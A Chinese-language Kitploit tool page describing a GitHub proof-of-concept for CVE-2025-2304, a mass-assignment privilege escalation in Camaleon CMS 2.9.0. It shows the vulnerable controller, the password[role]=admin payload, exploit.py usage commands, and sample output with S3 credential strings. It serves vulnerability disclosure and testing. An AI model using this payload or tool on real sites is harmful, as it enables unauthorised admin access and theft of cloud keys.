Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2304 — Camaleon CMS v2.9.0 中由于 updated_ajax 端点参数处理不当导致的已认证权限提升漏洞。 | Kitploit
工具/GitHubGitHub/alien0ne/cve-2025-2304
权限提升密码攻击漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Camaleon CMS v2.9.0 中由于 updated_ajax 端点参数处理不当导致的已认证权限提升漏洞。

查看仓库
1936个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Camaleon CMS 2.9.0 – 认证后的权限提升(角色更改)+ 可选S3配置泄露

目标: Camaleon CMS v2.9.0
类型: 通过 updated_ajax 中的批量赋值进行的认证后权限提升(角色字段)
额外功能: 从管理员设置页面可选提取S3配置(如果经过权限提升后认证用户可以访问)

概述

本仓库包含一个Python概念验证脚本,能够:

  1. 使用有效凭据登录Camaleon CMS管理面板。
  2. 从 /admin/profile/edit 获取CSRF令牌。
  3. 调用 updated_ajax 端点来更新 password[...] 字段,并滥用 permit! 设置 password[role]=admin。
  4. 可选(-e)从 /admin/settings/site 提取S3配置值。
  5. 可选(-r)在运行后将角色恢复为原始值。

此行为与相关公告中描述的不安全批量赋值模式一致:

  • Tenable Research Advisory: TRA-2025-09

根本原因(漏洞所在)

下面的控制器动作使用 permit! 更新用户:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

因为 permit! 允许 password 下的所有键,攻击者可以发送:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

应用程序会接受它,从而提升用户的角色。

影响

  • 任何能够访问有漏洞路由的认证用户都可能通过将角色设置为 admin 来提升权限。
  • 权限提升后,管理员专用页面(如站点设置)可能变得可访问,从而可能泄露敏感配置值(例如S3密钥)。

依赖

  • Python 3.8+
  • requests

安装依赖:

root@kitploit:~
pip install requests

用法

基础权限提升(已认证)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

提升权限并提取S3配置(-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

提升权限并恢复角色(-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

提升权限 + 提取 + 恢复

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

参数

示例执行

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

示例输出

root@kitploit:~
[+]Camaleon CMS 版本 2.9.0 权限提升(已认证)
[+]登录确认
   用户ID: 5
   当前用户角色: client
[+]正在加载权限提升
   用户ID: 5
   更新后用户角色: admin
[+]正在提取S3凭证
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]正在恢复用户角色
   用户ID: 5
   用户角色: client

PoC如何确认登录

脚本检查登录POST后返回的HTML中是否包含 /admin/logout 链接。
如果存在注销链接,则认为会话已认证。

关于CSRF令牌的说明

Camaleon使用Rails风格的CSRF。通常在两个常见位置看到令牌:

  • 表单中的隐藏输入:name="authenticity_token" value="..."
  • Meta标签:<meta name="csrf-token" content="...">

PoC从 /admin/profile/edit 获取meta csrf-token,并在以下位置使用:

  • 请求正文:authenticity_token=<token>
  • 请求头:X-CSRF-Token: <token>

免责声明

此代码仅用于授权的安全测试和教育目的(例如,实验室、CTF以及已获得明确许可的环境)。
请勿将其用于您不拥有或无权测试的系统。


参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml

下载工具
标志描述
-u, --url基础URL(例如 http://alienone.in)
-U, --username有效用户名
-P, --password有效密码
--newpass更新请求中发送的密码值(默认:test)
-e, --extract从设置页面提取S3配置
-r, --revert在提升后恢复角色为原始角色